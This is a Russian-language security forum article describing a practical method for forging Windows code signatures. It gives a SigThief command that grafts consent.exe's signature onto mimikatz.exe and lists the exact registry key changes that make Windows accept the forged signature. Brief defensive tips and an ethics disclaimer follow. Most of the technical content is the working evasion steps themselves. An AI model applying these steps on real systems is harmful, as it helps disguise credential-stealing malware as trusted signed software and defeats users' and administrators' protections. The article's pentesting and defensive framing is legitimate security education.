• 🔥 Бесплатный курс от Академии Кодебай: «Анализ защищенности веб-приложений»

    🛡 Научитесь находить и использовать уязвимости веб-приложений.
    🧠 Изучите SQLi, XSS, CSRF, IDOR и другие типовые атаки на практике.
    🧪 Погрузитесь в реальные лаборатории и взломайте свой первый сайт!
    🚀 Подходит новичкам — никаких сложных предварительных знаний не требуется.

    Доступ открыт прямо сейчас Записаться бесплатно

🔥 Хакеры обманывают Windows: как подделать цифровую подпись и не спалиться?

Цифровая подпись кода (Code Signing) — это механизм, который гарантирует подлинность ПО и отсутствие изменений после подписания. В Windows при установке неподписанного приложения или драйвера система выдаёт предупреждение, что может отпугнуть пользователя.
Но что, если злоумышленник хочет обойти эту проверку? Уже более десяти лет хакеры используют украденные или скомпрометированные сертификаты для подписи вредоносного ПО. Например, в 2015 году группа C@T продавала поддельные сертификаты Authenticode, повышая успешность заражения на 30–50%.
В этой статье разберём практический метод обхода проверки подписи, предложенный пентестером Chris Spehn (@_Lopi_).

Необходимые инструменты

Для работы нам понадобятся:
  1. Mimikatz (скачать) - Инструмент для извлечения учетных данных, но в нашем случае он поможет с модификацией реестра.
  2. SigThief (скачать) - Утилита для кражи цифровой подписи с одного файла и добавления её к другому.

Как работает обход подписи?

Сценарий атаки выглядит так:
  1. Крадём подпись у легитимного файла (например, consent.exe из C:\Windows\System32).
  2. Добавляем её к нашему файлу (например, mimikatz.exe).
  3. Модифицируем реестр, чтобы система некорректно проверяла подпись.

Пошаговая инструкция

1. Копируем подпись с помощью SigThief
Код:
sigthief.py -i C:\Windows\System32\consent.exe -t mimikatz.exe -o testaroo.exe
Что делает команда?
  • -i — исходный файл с подписью (consent.exe).
  • -t — целевой файл, который нужно подписать (mimikatz.exe).
  • -o — выходной файл (testaroo.exe).
2. Модифицируем реестр
Чтобы система некорректно проверяла подпись, меняем ключи:
Для 32-битных систем:
Код:
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\Dll → C:\Windows\System32\ntdll.dll
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\FuncName → DbgUiContinue
Для 64-битных систем:
Код:
HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\Dll → C:\Windows\System32\ntdll.dll
HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\FuncName → DbgUiContinue
3. Проверяем подпись
Код:
Get-AuthenticodeSignature -FilePath C:\Path\To\testaroo.exe
Если всё сделано правильно, система будет считать файл подписанным.

Для более детального разбора работы SigThief на практике можно также изучить руководство «Прячем свой грязный код от АнтиВирусов» на Codeby.net (2017), где подробно показан процесс вытаскивания и внедрения PE-подписи.

Хотя наша статья сфокусирована на Mimikatz и модификации реестра, стоит упомянуть другие подходы к обходу AV — например, SpookFlare предлагает генерацию уникальных payload для обхода сигнатур.

Обход подписи не ограничивается Windows — так, в Mac OS был обнаружен обход механизма code signing, работающий более десяти лет. Это хорошее напоминание о том, что механизм подписи — не панацея.

Как защититься?

  1. AppLocker / WDAC — ограничьте выполнение неподписанного кода.
  2. Мониторинг изменений реестра — особенно ключей, связанных с проверкой подписи.
  3. Анализ поведения процессов — подозрительные вызовы mimikatz.exe или sigthief.py должны блокироваться.

Заключение

Метод обхода цифровой подписи работает на Win7 x86 и Win10 x64, но его можно детектировать. Если вы администратор — настройте политики безопасности. Если пентестер — используйте эти знания только в этичных целях.
Вопросы? Пишите в комментарии!

FAQ

❓ Можно ли использовать этот метод в реальных атаках?
→ Нет, это незаконно. Только для исследований и пентеста.
❓ Как обнаружить такую атаку?
→ Мониторьте изменения в реестре и необычные запуски mimikatz.
❓ Есть ли аналоги SigThief?
→ Да, например, CarbonCopy и TheFatRat.

💬 А теперь вопрос к вам:​

Какие ещё методы обхода цифровой подписи вы знаете или встречали в полевых условиях? Поделитесь опытом в комментариях — создадим базу знаний вместе.
 
Последнее редактирование модератором:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab